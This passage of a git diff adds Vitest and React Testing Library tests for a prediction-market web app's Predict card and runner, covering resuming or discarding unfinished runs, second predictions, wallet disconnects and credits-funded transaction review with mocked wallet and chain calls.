+const HASH = `0x${"ab".repeat(32)}` as const; +const RESUME_OR_DISCARD = /^A prediction with .* did not finish\. Resume or discard it before starting a new one\.$/; +const RESUME_FIRST = + /did not finish\. A transaction from it may still be pending\. Resume it before starting a new one\.$/; + +vi.mock("wagmi", async (importOriginal) => ({ + ...(await importOriginal()), + useAccount: () => ({ address: OWNER }), +})); +vi.mock("@/components/wallet/EnsureChain", () => ({ default: ({ children }: { children: ReactNode }) => children })); +/* stands in for the popup: what it was opened with, and a way to close it */ +vi.mock("../PredictRunner", () => ({ + PredictRunner: ({ selected, onClose }: { selected: unknown[]; onClose: () => void }) => ( +
    + {`${selected.length} to resume`} + +
    + ), +})); + +const session = () => + toSessionDetail( + { + ...sessionDetailColumns, + id: "7", + children: [ + sessionChildRow({ id: addresses.childMarkets[0], parentOutcomeIndex: "0" }), + sessionChildRow({ id: addresses.childMarkets[1], parentOutcomeIndex: "1" }), + ], + }, + GATEWAY, + ); + +/** Every option priced one above its lower bound and estimated one above that, so Predict would be on. */ +function moveEveryEstimate(detail: SessionDetail) { + for (const option of detail.options) { + useEstimateStore.getState().setEstimate(detail.parentMarket, option.market, option.lowerBound + 2); + } + return Object.fromEntries(detail.options.map((option) => [option.market.toLowerCase(), option.lowerBound + 1])); +} + +function saveRun(deposit: "pending" | "submitted" = "pending") { + createRunStore().save({ + flowId: predictFlowId("7", OWNER), + adapterId: "predict-flow", + snapshot: snapshot({ deposit: WAD * 3n }), + ctx: ctx({ owner: OWNER, chainId: DEFAULT_CHAIN_ID }), + steps: [ + { + stepId: "deposit", + label: "Add funds", + outcome: deposit === "submitted" ? { status: "submitted", hash: HASH } : { status: "pending" }, + }, + { stepId: "predict", label: "Predict", outcome: { status: "pending" } }, + ], + status: "paused", + reason: "error", + error: { stepId: "deposit", message: "RPC unavailable", cause: "rpc", hash: HASH }, + }); +} + +function card() { + const detail = session(); + const marketEstimates = moveEveryEstimate(detail); + return ; +} + +function renderCard() { + render(card()); + return () => screen.getByRole("button", { name: "Predict 2 estimates" }); +} + +/** Renders the card, logging after every commit whether its Predict was held or live. */ +function renderCounted() { + const commits: string[] = []; + render( + { + const predict = screen.queryByRole("button", { name: "Predict 2 estimates" }); + if (predict) commits.push((predict as HTMLButtonElement).disabled ? "held" : "live"); + }} + > + {card()} + , + ); + return commits; +} + +beforeEach(() => { + window.localStorage.clear(); + useEstimateStore.getState().resetEstimates(session().parentMarket); +}); + +describe("the predict card with an unfinished run stored", () => { + it("holds Predict and says to resume or discard the run first", async () => { + saveRun(); + const predict = renderCard(); + + expect(await screen.findByText(RESUME_OR_DISCARD)).toBeVisible(); + expect(predict()).toBeDisabled(); + expect(screen.getByRole("button", { name: "Resume" })).toBeEnabled(); + }); + + it("draws no phone bar while the run is stored", async () => { + saveRun(); + renderCard(); + + await screen.findByText(RESUME_OR_DISCARD); + expect(document.querySelector("[data-predict-dock]")).toBeNull(); + }); + + it("makes Resume the card's main button and holds Predict as the secondary one", async () => { + saveRun(); + const predict = renderCard(); + + const resume = await screen.findByRole("button", { name: "Resume" }); + expect(resume).toHaveClass("predict-cta"); + expect(predict()).not.toHaveClass("predict-cta"); + expect(predict()).toBeDisabled(); + expect(screen.getByRole("button", { name: "Predict" })).toBeDisabled(); + }); + + it("lets Predict go once the run is discarded", async () => { + saveRun(); + const predict = renderCard(); + + await userEvent.click(await screen.findByRole("button", { name: "Discard" })); + + await waitFor(() => expect(predict()).toBeEnabled()); + expect(screen.queryByText(RESUME_OR_DISCARD)).toBeNull(); + }); + + it("still opens the run from Resume", async () => { + saveRun(); + renderCard(); + + await userEvent.click(await screen.findByRole("button", { name: "Resume" })); + + expect(await screen.findByRole("dialog")).toHaveTextContent("2 to resume"); + }); + + it("asks only for Resume while the run's transaction awaits its receipt", async () => { + saveRun("submitted"); + const predict = renderCard(); + + expect(await screen.findByText(RESUME_FIRST)).toBeVisible(); + expect(predict()).toBeDisabled(); + expect(screen.queryByRole("button", { name: "Discard" })).toBeNull(); + }); +}); + +describe("the predict card before it has read the stored run", () => { + it("holds Predict from its first commit, and names the run only once it is read", async () => { + saveRun(); + const commits = renderCounted(); + + await screen.findByRole("button", { name: "Resume" }); + expect(commits[0]).toBe("held"); + expect(commits).not.toContain("live"); + }); + + it("keeps Predict held and draws no phone bar while Resume's popup is open", async () => { + saveRun(); + const commits = renderCounted(); + await userEvent.click(await screen.findByRole("button", { name: "Resume" })); + await screen.findByRole("dialog"); + + expect(commits).not.toContain("live"); + expect(document.querySelector("[data-predict-dock]")).toBeNull(); + }); + + it("never commits a live Predict when the popup closes over a stored run", async () => { + saveRun(); + const commits = renderCounted(); + await userEvent.click(await screen.findByRole("button", { name: "Resume" })); + await screen.findByRole("dialog"); + + commits.length = 0; + await userEvent.click(screen.getByRole("button", { name: "Close" })); + + await screen.findByRole("button", { name: "Resume" }); + expect(commits).not.toContain("live"); + }); +}); + +describe("the predict card when another tab changes the stored run", () => { + it("holds Predict once another tab stores a run, and lets it go once that tab clears it", async () => { + const predict = renderCard(); + await waitFor(() => expect(predict()).toBeEnabled()); + + saveRun(); + const key = Object.keys(window.localStorage).find((name) => name.endsWith(predictFlowId("7", OWNER))); + expect(key).toBeDefined(); + act(() => { + window.dispatchEvent(new StorageEvent("storage", { key: key! })); + }); + expect(predict()).toBeDisabled(); + expect(screen.getByRole("button", { name: "Resume" })).toBeEnabled(); + + window.localStorage.clear(); + act(() => { + window.dispatchEvent(new StorageEvent("storage", { key: null })); + }); + expect(predict()).toBeEnabled(); + expect(screen.queryByRole("button", { name: "Resume" })).toBeNull(); + }); +}); + +describe("the predict card with no run stored", () => { + it("leaves Predict on and says nothing of a run", async () => { + const predict = renderCard(); + + await waitFor(() => expect(predict()).toBeEnabled()); + expect(screen.queryByText(RESUME_OR_DISCARD)).toBeNull(); + expect(screen.queryByRole("button", { name: "Resume" })).toBeNull(); + }); +}); diff --git a/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictDialog.secondPrediction.test.tsx b/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictDialog.secondPrediction.test.tsx new file mode 100644 index 00000000..9e6ac755 --- /dev/null +++ b/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictDialog.secondPrediction.test.tsx @@ -0,0 +1,215 @@ +import type { ReactNode } from "react"; + +import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; +import { act, render, screen, waitFor, within } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import type { Address } from "viem"; +import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; + +import type { PredictDriver, PredictProgress } from "@/features/predict/run/types"; +import { useEstimateStore } from "@/features/predict/stores/estimateStore"; +import type { Funding } from "@/features/predict/utils/funding"; +import { sessionChildRow, sessionDetailColumns } from "@/features/sessions/utils/__tests__/fixtures"; +import { toSessionDetail } from "@/features/sessions/utils/toSessionDetail"; + +import { SHOWN } from "@/test/queries"; +import { addresses, GATEWAY } from "@/testing/fixtures"; + +import { PredictCard } from "../PredictCard"; + +const THIRD_MARKET = "0x5555555555555555555555555555555555555555" as Address; +const WAD = 10n ** 18n; + +const OPTIONS = [ + { market: addresses.childMarkets[0], name: "Greta Gerwig" }, + { market: addresses.childMarkets[1], name: "Denis Villeneuve" }, + { market: THIRD_MARKET, name: "Chloe Zhao" }, +] as const; + +vi.mock("@/lib/graphql/batcher", () => ({ fetchGraphql: vi.fn() })); +/* The factory cannot reference imports, so GATEWAY's value is restated. */ +vi.mock("@/config/ipfs", () => ({ IPFS_GATEWAY: "https://cdn.example.link/ipfs" })); +vi.mock("@/lib/web3/public-client", () => ({ publicClient: {} })); + +vi.mock("wagmi", async (importOriginal) => { + const { DEFAULT_CHAIN_ID } = await import("@/config/chains"); + return { + ...(await importOriginal()), + useAccount: () => ({ address: "0x9999999999999999999999999999999999999999", chainId: DEFAULT_CHAIN_ID }), + }; +}); + +vi.mock("@/config/contracts", async (importOriginal) => ({ + ...(await importOriginal()), + gnosisRouterAddress: () => "0x7777777777777777777777777777777777777777", + tradeExecutorFactoryAddress: () => "0x6666666666666666666666666666666666666666", +})); + +vi.mock("@/features/trade-executor/api/getExecutor", async (importOriginal) => ({ + ...(await importOriginal()), + useExecutor: () => ({ data: { predicted: "0x8888888888888888888888888888888888888888", deployed: true } }), +})); + +/** A returning visitor whose trade wallet already holds collateral and who types no extra amount. */ +const balances = vi.hoisted(() => ({ funding: null as Funding | null })); +vi.mock("../usePredictFunding", () => ({ + usePredictFunding: () => ({ + credits: { state: "none" }, + funding: balances.funding, + token: "collateral", + available: () => balances.funding?.available, + canPayNative: false, + isPending: false, + }), +})); +vi.mock("../useHasPredicted", () => ({ useHasPredicted: () => true })); +vi.mock("@/components/wallet/EnsureChain", () => ({ default: ({ children }: { children: ReactNode }) => children })); + +/* A visitor already subscribed, so the success dialog renders without the sign-in flow. */ +vi.mock("@kleros/kleros-app", async (importOriginal) => ({ + ...(await importOriginal()), + useAtlasProvider: () => ({ user: { email: "visitor@example.com" }, userExists: true }), +})); + +/** The run's progress as the real driver reports it; the mock hook re-renders on every change. */ +const run = vi.hoisted(() => { + const listeners = new Set<() => void>(); + let progress: unknown = null; + return { + get: () => progress, + set(next: unknown) { + progress = next; + listeners.forEach((listener) => listener()); + }, + subscribe(listener: () => void) { + listeners.add(listener); + return () => listeners.delete(listener); + }, + }; +}); + +vi.mock("@/features/predict/hooks/usePredictRun", async () => { + const { useSyncExternalStore } = await import("react"); + return { + usePredictRun: (input: unknown) => ({ + driver: input ? driver : null, + progress: useSyncExternalStore(run.subscribe, run.get, run.get), + }), + }; +}); + +const progressAt = (stage: PredictProgress["stage"]): PredictProgress => ({ + stage, + steps: [], + leftOut: [], + batchesDone: stage === "complete" ? 1 : 0, + batches: 1, +}); + +// reset() throws the run away, as the real driver does. +const driver = { + start: vi.fn(), + recover: vi.fn(), + resume: vi.fn(), + confirm: vi.fn(), + retry: vi.fn(), + discard: vi.fn(), + reset: vi.fn(() => run.set(progressAt("idle"))), + dispose: vi.fn(), + subscribe: vi.fn(() => () => {}), + getProgress: vi.fn(() => progressAt("idle")), +} satisfies PredictDriver; + +const session = () => + toSessionDetail( + { + ...sessionDetailColumns, + children: OPTIONS.map((option, index) => + sessionChildRow({ id: option.market, displayName: option.name, parentOutcomeIndex: String(index) }), + ), + }, + GATEWAY, + ); + +const FIRST_ESTIMATE = 312; +const MARKET_BEFORE = 250; +// the first prediction moved each market toward the estimate without reaching it +const MARKET_AFTER = 290; + +const marketAt = (value: number) => Object.fromEntries(OPTIONS.map((option) => [option.market, value])); + +const fundingCoveredByTradeWallet = (): Funding => ({ + available: 20n * WAD, + collateralIn: 0n, + creditsAvailable: 0n, + credits: [], + creditsIn: 0n, + tradeWallet: 5n * WAD, + fromTradeWallet: 0n, + toAdd: 0n, + deposit: 0n, +}); + +/** Places a first prediction on every option, then changes `changed` and opens the popup again. */ +async function openSecondPrediction(changed: (typeof OPTIONS)[number]) { + const detail = session(); + for (const option of OPTIONS) + useEstimateStore.getState().setEstimate(detail.parentMarket, option.market, FIRST_ESTIMATE); + const client = new QueryClient({ defaultOptions: { queries: { retry: false } } }); + const card = (marketEstimates: Record) => ( + + + + ); + + const view = render(card(marketAt(MARKET_BEFORE))); + await userEvent.click(screen.getByRole("button", { name: /^Predict (\d+ )?estimates?$/ })); + const first = within(await screen.findByRole("dialog")); + for (const option of OPTIONS) expect(first.getByText(option.name, SHOWN)).toBeInTheDocument(); + act(() => run.set(progressAt("signing"))); + act(() => run.set(progressAt("complete"))); + + await userEvent.click(await screen.findByRole("button", { name: "Close" })); + await waitFor(() => expect(screen.queryByRole("dialog")).toBeNull()); + + balances.funding = fundingCoveredByTradeWallet(); + view.rerender(card(marketAt(MARKET_AFTER))); + act(() => useEstimateStore.getState().setEstimate(detail.parentMarket, changed.market, 420)); + + await userEvent.click(screen.getByRole("button", { name: /^Predict (\d+ )?estimates?$/ })); + return within(await screen.findByRole("dialog")); +} + +// PredictCard loads these with next/dynamic on first open; importing them here keeps their +// first load out of the first test's timeout. +beforeAll(async () => { + await Promise.all([import("../PredictRunner"), import("../PredictSuccessDialog")]); +}); + +beforeEach(() => { + vi.clearAllMocks(); + window.localStorage.clear(); + useEstimateStore.setState({ estimates: {} }); + balances.funding = null; + run.set(progressAt("idle")); +}); + +describe("PredictDialog on a second prediction with one changed option", () => { + it.each(OPTIONS.map((option) => [option.name, option] as const))( + "lists only %s and leaves the unchanged options out", + async (_name, changed) => { + const popup = await openSecondPrediction(changed); + + expect(popup.getByText(changed.name, SHOWN)).toBeInTheDocument(); + for (const option of OPTIONS.filter((candidate) => candidate !== changed)) + expect(popup.queryByText(option.name, SHOWN)).toBeNull(); + }, + ); + + it("leaves the funds step without an amount when the trade wallet covers it", async () => { + const popup = await openSecondPrediction(OPTIONS[1]); + const funds = popup.getByRole("listitem", { name: "Timeline item: Add funds" }); + + expect(funds.querySelector("h2 + p")?.textContent ?? "").toBe(""); + }); +}); diff --git a/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictRunner.disconnect.test.tsx b/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictRunner.disconnect.test.tsx new file mode 100644 index 00000000..734985c7 --- /dev/null +++ b/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictRunner.disconnect.test.tsx @@ -0,0 +1,176 @@ +import { act, type ReactNode } from "react"; + +import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; +import { render, screen, within } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import type { Address } from "viem"; +import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; + +import type { PredictDriver, PredictProgress } from "@/features/predict/run/types"; +import { useEstimateStore } from "@/features/predict/stores/estimateStore"; +import { sessionChildRow, sessionDetailColumns } from "@/features/sessions/utils/__tests__/fixtures"; +import { toSessionDetail } from "@/features/sessions/utils/toSessionDetail"; + +import { addresses, GATEWAY } from "@/testing/fixtures"; + +import { PredictCard } from "../PredictCard"; + +const OWNER = "0x9999999999999999999999999999999999999999" as Address; +const WAD = 10n ** 18n; + +const OPTIONS = [ + { market: addresses.childMarkets[0], name: "Greta Gerwig" }, + { market: addresses.childMarkets[1], name: "Denis Villeneuve" }, +] as const; + +/** The connected account, as wagmi reports it; `set` notifies subscribers as a disconnect would. */ +const account = vi.hoisted(() => { + const listeners = new Set<() => void>(); + let address: string | undefined; + return { + get: () => address, + set(next: string | undefined) { + address = next; + for (const listener of listeners) listener(); + }, + subscribe(listener: () => void) { + listeners.add(listener); + return () => void listeners.delete(listener); + }, + }; +}); + +vi.mock("@/lib/graphql/batcher", () => ({ fetchGraphql: vi.fn() })); +/* The factory cannot reference imports, so GATEWAY's value is restated. */ +vi.mock("@/config/ipfs", () => ({ IPFS_GATEWAY: "https://cdn.example.link/ipfs" })); +vi.mock("@/lib/web3/public-client", () => ({ publicClient: {} })); + +vi.mock("wagmi", async (importOriginal) => { + const { DEFAULT_CHAIN_ID } = await import("@/config/chains"); + const { useSyncExternalStore } = await import("react"); + return { + ...(await importOriginal()), + useAccount: () => { + const address = useSyncExternalStore(account.subscribe, account.get); + return address ? { address, chainId: DEFAULT_CHAIN_ID } : { address: undefined, chainId: undefined }; + }, + }; +}); + +vi.mock("@/config/contracts", async (importOriginal) => ({ + ...(await importOriginal()), + gnosisRouterAddress: () => "0x7777777777777777777777777777777777777777", + tradeExecutorFactoryAddress: () => "0x6666666666666666666666666666666666666666", + sDaiDepositRoute: (collateral: Address) => ({ + sDai: collateral, + sDaiAdapter: "0x4444444444444444444444444444444444444444", + }), +})); + +vi.mock("@/features/trade-executor/api/getExecutor", async (importOriginal) => ({ + ...(await importOriginal()), + useExecutor: () => ({ data: { predicted: "0x8888888888888888888888888888888888888888", deployed: true } }), +})); + +// As the real query does with no holder: skipped, so it stays pending with no data. +vi.mock("@/features/trade-executor/api/getFunds", async (importOriginal) => ({ + ...(await importOriginal()), + useFunds: (holder: Address | undefined, token: Address | undefined) => { + if (!holder) return { data: undefined, isPending: true }; + const own = holder.toLowerCase() === OWNER; + return { data: { native: 0n, token: token ? (own ? 10n * WAD : 0n) : null }, isPending: false }; + }, +})); + +vi.mock("@/features/predict/api/getSavingsRate", () => ({ + useSavingsRate: (sDai: Address | undefined) => + sDai ? { data: (5n * 10n ** 18n) / 4n, isPending: false } : { data: undefined, isPending: true }, +})); + +vi.mock("../useHasPredicted", () => ({ useHasPredicted: () => false })); +vi.mock("@/components/wallet/EnsureChain", () => ({ default: ({ children }: { children: ReactNode }) => children })); + +const driver = { + start: vi.fn(), + recover: vi.fn(), + resume: vi.fn(), + confirm: vi.fn(), + retry: vi.fn(), + discard: vi.fn(), + reset: vi.fn(), + dispose: vi.fn(), + subscribe: vi.fn(() => () => {}), + getProgress: vi.fn(), +} satisfies PredictDriver; + +const idle: PredictProgress = { stage: "idle", steps: [], leftOut: [], batchesDone: 0, batches: 0 }; + +vi.mock("@/features/predict/hooks/usePredictRun", () => ({ + usePredictRun: (input: unknown) => ({ driver: input ? driver : null, progress: idle }), +})); + +function renderPage() { + const detail = toSessionDetail( + { + ...sessionDetailColumns, + children: OPTIONS.map((option, index) => + sessionChildRow({ id: option.market, displayName: option.name, parentOutcomeIndex: String(index) }), + ), + }, + GATEWAY, + ); + for (const option of OPTIONS) useEstimateStore.getState().setEstimate(detail.parentMarket, option.market, 312); + const marketEstimates = Object.fromEntries(OPTIONS.map((option) => [option.market, 250])); + const client = new QueryClient({ defaultOptions: { queries: { retry: false } } }); + + render( + + + , + ); +} + +async function openPopup() { + await userEvent.click(screen.getByRole("button", { name: /^Predict (\d+ )?estimates?$/ })); + return within(await screen.findByRole("dialog")); +} + +// PredictCard loads PredictRunner with next/dynamic on first open; importing it here keeps its +// first load out of the first test's timeout. +beforeAll(async () => { + await import("../PredictRunner"); +}); + +beforeEach(() => { + vi.clearAllMocks(); + window.localStorage.clear(); + useEstimateStore.setState({ estimates: {} }); + account.set(OWNER); +}); + +describe("the balance line when the wallet disconnects with the popup open", () => { + it("asks for a wallet instead of checking the balance forever", async () => { + renderPage(); + const popup = await openPopup(); + expect(await popup.findByTitle("Balance: 10 sDAI")).toBeInTheDocument(); + + act(() => account.set(undefined)); + + expect(await popup.findByText("No wallet connected")).toBeInTheDocument(); + expect(popup.queryByText("Reading balance…")).toBeNull(); + expect(popup.queryByTitle(/^Balance: /)).toBeNull(); + }); + + it("shows the balance again once a wallet reconnects", async () => { + renderPage(); + const popup = await openPopup(); + await popup.findByTitle("Balance: 10 sDAI"); + + act(() => account.set(undefined)); + await popup.findByText("No wallet connected"); + act(() => account.set(OWNER)); + + expect(await popup.findByTitle("Balance: 10 sDAI")).toBeInTheDocument(); + expect(popup.queryByText("No wallet connected")).toBeNull(); + }); +}); diff --git a/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictRunner.fundingReview.test.tsx b/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictRunner.fundingReview.test.tsx new file mode 100644 index 00000000..c5f63a2c --- /dev/null +++ b/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictRunner.fundingReview.test.tsx @@ -0,0 +1,502 @@ +import { useSyncExternalStore } from "react"; + +import { createFlowRunStore, createMemoryStorage, type FlowTx, type TxGateway } from "@foresight/tx-orchestrator"; +import { act, render, screen, waitFor } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { decodeFunctionData, erc20Abi, type Hash, type PublicClient, type TransactionReceipt } from "viem"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; + +import { + ALGEBRA_ROUTER_ABI, + addresses, + chainState, + ctx, + fakeCreditsQuoter, + fakeReader, + gasLimitFor, + option, + poolQuoter, + snapshot, + WAD, +} from "@/features/predict/flow/__tests__/support/fakes"; +import { previewCreditsSwap } from "@/features/predict/flow/plan"; +import type { CreditsSwapPreview, PredictSlippage } from "@/features/predict/flow/types"; +import { createPredictRun } from "@/features/predict/run/driver"; +import type { PredictDriver } from "@/features/predict/run/types"; +import { useSlippageStore } from "@/features/predict/stores/slippageStore"; +import { creditLines, creditsOffer } from "@/features/predict/utils/credits"; +import { fundingRequest, planFunding, shownAmount, type Funding } from "@/features/predict/utils/funding"; +import { previewTrades } from "@/features/predict/utils/plan"; +import { sessionChildRow, sessionDetailColumns } from "@/features/sessions/utils/__tests__/fixtures"; +import { toSessionDetail } from "@/features/sessions/utils/toSessionDetail"; + +import { createLensQuoter } from "@/lib/swap/lens"; + +import { creditsManagerAbi, gnosisRouterAbi, tradeExecutorAbi } from "@/config/contracts"; + +import { PredictRunner } from "@/app/market/[parentMarket]/_components/PredictRunner"; +import { toPredictOptions } from "@/app/market/[parentMarket]/_components/toPredictOptions"; + +vi.hoisted(() => vi.stubEnv("NEXT_PUBLIC_ENABLE_LOCAL_CHAIN", "false")); +vi.mock("@/lib/web3/public-client", () => ({ publicClient: {} })); +vi.mock("@/lib/graphql/batcher", () => ({ fetchGraphql: vi.fn() })); +vi.mock("wagmi", () => ({ useAccount: () => ({ address: addresses.owner, chainId: 100 }) })); +vi.mock("@/features/trade-executor/api/getExecutor", () => ({ + useExecutor: () => ({ data: { predicted: addresses.executor, deployed: true } }), +})); +vi.mock("@/app/market/[parentMarket]/_components/useHasPredicted", () => ({ useHasPredicted: () => false })); + +const lensAnswer = vi.hoisted(() => vi.fn()); +vi.mock("@seer-pm/lens/client", async (original) => ({ + ...(await original()), + Lens: class { + quote = lensAnswer; + }, +})); + +let driver: PredictDriver; +let latestFunding: Funding; +let latestSlippage: PredictSlippage; +let eoaCredits: bigint; +let walletCredits: bigint; +let deposit: bigint; +let nominal: bigint; +let minted: bigint; +let firstLanded: boolean; +let tradeCollateral: bigint; +let swaps: CreditsSwapPreview; +let quoteReady = true; +let quoteFailed = false; +let lossBps = 1_000n; +let native = false; +const OPTIONS = [option(1), option(2)]; +const STATE = chainState(); + +vi.mock("@/app/market/[parentMarket]/_components/usePredictFunding", () => ({ + usePredictFunding: ({ amount }: { amount: bigint }) => { + const held = { wallet: eoaCredits, tradeWallet: walletCredits, manager: 1000n * WAD }; + latestFunding = planFunding({ + amount, + ownWallet: deposit, + tradeWallet: tradeCollateral, + ...(native ? { tokenPerCollateralWad: (WAD * 5n) / 4n } : {}), + credits: creditLines(held, creditsOffer(held)), + }); + return { + funding: latestFunding, + credits: creditsOffer(held), + token: native ? "native" : "collateral", + available: () => latestFunding.available, + canPayNative: native, + }; + }, +})); +vi.mock("@/app/market/[parentMarket]/_components/useCreditsSwapPreview", () => ({ + useCreditsSwapPreview: ({ credits }: { credits: bigint }) => ({ + preview: credits > 0n && quoteReady ? swaps : undefined, + failed: quoteFailed, + }), +})); +vi.mock("@/app/market/[parentMarket]/_components/usePricePreview", async (importOriginal) => ({ + ...(await importOriginal()), + usePricePreview: ({ collateralIn, slippageBps }: { collateralIn: bigint; slippageBps: number }) => { + const plans = Object.fromEntries( + OPTIONS.map((o) => [ + o.childMarket.toLowerCase(), + previewTrades( + { pools: STATE.pools, held: STATE.held, splitAmount: collateralIn ?? 0n, targetPriceWad: o.targetPriceWad }, + slippageBps, + )!, + ]), + ); + const moves = Object.fromEntries( + Object.entries(plans).map(([key, p]) => [key, { from: 312, to: 125, plan: { ...p, held: 0n } }]), + ); + return { plans, moves, held: {}, ready: true, failed: false, failedAgain: false, retrying: false }; + }, +})); +vi.mock("@/app/market/[parentMarket]/_components/usePredictExecution", () => ({ + usePredictExecution: (args: { slippage: PredictSlippage }) => { + latestSlippage = args.slippage; + return { driver, progress: useSyncExternalStore(driver.subscribe, driver.getProgress), ready: true }; + }, +})); + +const detail = toSessionDetail( + { + ...sessionDetailColumns, + parentMarket: addresses.parentMarket, + collateralToken: addresses.collateral, + children: OPTIONS.map((o, i) => + sessionChildRow({ + id: o.childMarket, + displayName: `Option ${i + 1}`, + lowerBound: "0", + upperBound: String(500n * WAD), + underlyingToken: o.underlying, + upToken: o.upToken, + downToken: o.downToken, + invalidToken: o.invalidToken, + }), + ), + }, + "https://example.test", +); +const selected = detail.options.map((scale) => ({ + scale, + value: 125, + marketEstimate: 312, + direction: "lower" as const, +})); + +function mount() { + const onSuccess = vi.fn(); + const view = render( + , + ); + return { ...view, onSuccess }; +} + +function setup({ + credits = 100n * WAD, + ownDeposit = 0n, + revertBatch = 2, + alreadyHeld = false, + collateralHeld = 0n, + lostReceipt = false, +} = {}) { + eoaCredits = alreadyHeld ? 0n : credits; + walletCredits = alreadyHeld ? credits : 0n; + deposit = ownDeposit; + nominal = credits + ownDeposit + collateralHeld; + tradeCollateral = collateralHeld; + firstLanded = false; + const sent: FlowTx[] = []; + let batches = 0; + const receipts = new Map(); + const store = createFlowRunStore({ storage: createMemoryStorage() }); + const state = () => chainState({ underlying: firstLanded ? minted : 0n }); + const reader = fakeReader({ + deployed: true, + collateral: collateralHeld, + state, + blockGasLimit: gasLimitFor(1), + credits: (holder) => (holder === addresses.owner ? eoaCredits : walletCredits), + }); + const creditsQuoter = fakeCreditsQuoter({ lossBps: () => lossBps }); + const gateway: TxGateway = { + async sendTransaction(tx) { + sent.push(tx); + const hash = `0x${sent.length.toString(16).padStart(64, "0")}` as Hash; + let status: TransactionReceipt["status"] = "success"; + if (tx.to.toLowerCase() === addresses.credits.toLowerCase()) { + const [, amount] = decodeFunctionData({ abi: erc20Abi, data: tx.data! }).args!; + eoaCredits -= amount as bigint; + walletCredits += amount as bigint; + } + if (tx.to === addresses.executor) { + batches++; + if (batches === revertBatch) status = "reverted"; + else if (!firstLanded) { + walletCredits -= credits; + tradeCollateral = 0n; + firstLanded = true; + } + } + receipts.set(hash, { + transactionHash: hash, + status, + blockNumber: 2n, + logs: [], + blockHash: hash, + contractAddress: null, + cumulativeGasUsed: 1n, + effectiveGasPrice: 1n, + gasUsed: 1n, + from: addresses.owner, + to: tx.to, + logsBloom: "0x", + transactionIndex: 0, + type: "eip1559", + }); + return hash; + }, + waitForReceipt: async ({ hash }) => { + if (lostReceipt && receipts.get(hash)?.status === "reverted") return new Promise(() => {}); + return receipts.get(hash)!; + }, + getReceipt: async (hash) => receipts.get(hash)!, + isKnown: async () => true, + }; + const pools = poolQuoter(OPTIONS, state); + const lens = createLensQuoter({} as PublicClient, 100, async () => 1_700_000_000n); + const make = () => + createPredictRun({ + gateway, + reader, + creditsQuoter, + quoter: { + async quote(request) { + lensAnswer.mockImplementation(async () => { + const answer = await pools.quote(request); + return { ...answer, target: answer.router, msgValue: answer.value }; + }); + return lens.quote(request); + }, + }, + store, + flowId: "funding-review", + ctx: () => ctx(), + snapshot: () => + snapshot({ + options: toPredictOptions(detail, selected), + ...fundingRequest(latestFunding, native), + slippage: latestSlippage, + }), + slippage: () => latestSlippage, + }); + driver = make(); + return { sent, reader, creditsQuoter, store, make }; +} + +beforeEach(() => { + native = false; + quoteReady = true; + quoteFailed = false; + lossBps = 1_000n; + useSlippageStore.setState({ settings: { tradeBps: null, creditsBps: null } }); +}); +afterEach(() => driver?.dispose()); + +async function begin() { + await userEvent.type(screen.getByRole("spinbutton"), (nominal / WAD).toString()); + await userEvent.click(screen.getByRole("button", { name: "Predict" })); + await waitFor(() => expect(driver.getProgress().stage).toBe("halted")); + expect(driver.getProgress().failure?.reason).toBe("reverted"); +} + +function parentBase(tx: FlowTx): bigint { + if (tx.to !== addresses.executor) return 0n; + const decoded = decodeFunctionData({ abi: tradeExecutorAbi, data: tx.data! }); + if (decoded.functionName !== "batchValueExecute") return 0n; + return decoded.args[0].find((call) => call.data.startsWith("0x50d9991c"))?.value ?? 0n; +} + +describe("UI truth after a partial credits-funded run", () => { + it("keeps the original credits amount and quote historical when retry pauses at changed trades", async () => { + const { sent, reader, creditsQuoter } = setup(); + swaps = await previewCreditsSwap(ctx(), nominal, 20, { reader, creditsQuoter }); + minted = swaps.minted; + expect(minted).toBe(89_811_018n * 10n ** 12n); + mount(); + await begin(); + expect(driver.getProgress().batchesDone).toBe(1); + expect(parentBase(sent.find((tx) => tx.to === addresses.executor)!)).toBe(swaps.floor); + expect(screen.queryByTestId("trade-mint")).toBeNull(); + expect(screen.getByTestId("credits-swap")).toHaveTextContent("Credits swapped100 credits"); + + act(() => useSlippageStore.getState().setSlippage("tradeBps", 1_000)); + await userEvent.click(screen.getByRole("button", { name: "Try the rest" })); + await waitFor(() => expect(driver.getProgress().stage).toBe("moved")); + expect(driver.getProgress().moved?.bySlippage).toBe(true); + expect(screen.queryByTestId("trade-mint")).toBeNull(); + expect(screen.getByTestId("credits-swap")).toHaveTextContent("Credits swapped100 credits"); + const sentBefore = sent.length; + await userEvent.click(screen.getByRole("button", { name: "Confirm trades" })); + await waitFor(() => expect(driver.getProgress().stage).toBe("idle")); + expect(sent).toHaveLength(sentBefore + 1); + expect(parentBase(sent.at(-1)!)).toBe(0n); + }); +}); + +describe("reviewed amount on Resume", () => { + it("shows the saved credit spend and pending mint before Resume", async () => { + const { sent, reader, creditsQuoter, make } = setup({ alreadyHeld: true, revertBatch: 1 }); + swaps = await previewCreditsSwap(ctx(), nominal, 20, { reader, creditsQuoter }); + minted = swaps.minted; + const first = mount(); + await begin(); + expect(driver.getProgress().batchesDone).toBe(0); + first.unmount(); + driver.dispose(); + driver = make(); + const resumed = mount(); + await waitFor(() => expect(driver.getProgress().stage).toBe("review")); + expect(driver.getProgress().recovered).toMatchObject({ + deposit: 0n, + creditsFromEoa: 0n, + creditsToSpend: 100n * WAD, + }); + expect(screen.getByRole("spinbutton")).toHaveValue("0"); + expect(screen.getByTestId("recovery-funding")).toHaveTextContent("Credits to spend100 credits"); + expect(screen.getByTestId("credits-swap")).toHaveTextContent("100 credits"); + expect(screen.getByTestId("trade-mint")).toHaveTextContent(shownAmount(minted, 18)); + const before = sent.length; + await userEvent.click(screen.getByRole("button", { 